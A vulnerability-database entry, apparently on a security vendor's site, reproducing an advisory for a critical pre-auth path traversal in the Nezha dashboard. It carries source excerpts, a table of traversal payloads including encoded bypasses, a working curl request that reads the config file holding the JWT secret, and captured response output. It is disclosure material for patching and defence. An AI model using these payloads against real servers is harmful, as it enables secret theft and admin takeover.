🛡️ CVE-2026-53519 — nezha

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-22 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key

Summary

fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.

In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.

Details

Root cause

```go

// cmd/dashboard/controller/controller.go @ 636f4a9

387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)

388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {

389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")

390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)

391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {

392: return

393: }

```

```go

// cmd/dashboard/controller/controller.go @ 636f4a9

322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {

323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {

324: if _, err := os.Stat(path); err == nil {

325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)

326: return true

327: }

```

fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.

Path math (verified, see appendix)

| Input URL.Path | TrimPrefix(..., "/dashboard") | path.Join("admin-dist", ...) | Reachable file |

|---|---|---|---|

| /dashboard/login | /login | admin-dist/login | legitimate, intended |

| /dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | but blocked by Go http.ServeFile's URL ..-segment guard → 400 |

| /dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | served, 200 |

| /dashboard%2e%2e/data/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |

| /dashboard..%2fdata/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |

The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.

Why the existing defenses miss

1. The prefix check is a substring test on the raw URL string, not a segment test. dashboard and dashboard.. are both accepted.

2. path.Join silently Cleans the result — so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape.

3. Go's http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead.

4. No anchored "is this still under the template root?" check exists after path.Join.

PoC

Setup

```text

TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef

HARNESS: stdlib-only port — see Appendix A

WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db

TIME-TO-REPRO: first request

```

The harness plants this data/config.yaml:

```yaml

debug: false

listen_port: 8008

language: en_US

jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE

agent_secret_key: REPRO_AGENT_SECRET_VALUE

site:

brand: nezha-repro

```

Observed responses

Primary payload — pre-auth secret disclosure:

```bash

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'

```

```text

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Length: 167

Content-Type: application/yaml

Last-Modified: Sun, 24 May 2026 12:16:23 GMT

Date: Sun, 24 May 2026 12:16:25 GMT

debug: false

listen_port: 8008

language: en_US

jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE

agent_secret_key: REPRO_AGENT_SECRET_VALUE

site:

bra

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2026-53519 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-53519 is recorded against 2 packages.

  • github.com/nezhahq/nezha
  • unknown

Timeline and source

Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-06-26
Updated 2026-08-12
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/nezhahq/nezha
unknown

Similar Threats

Exploit Protection

Are you running nezha?

CVE-2026-53519 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-53519 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.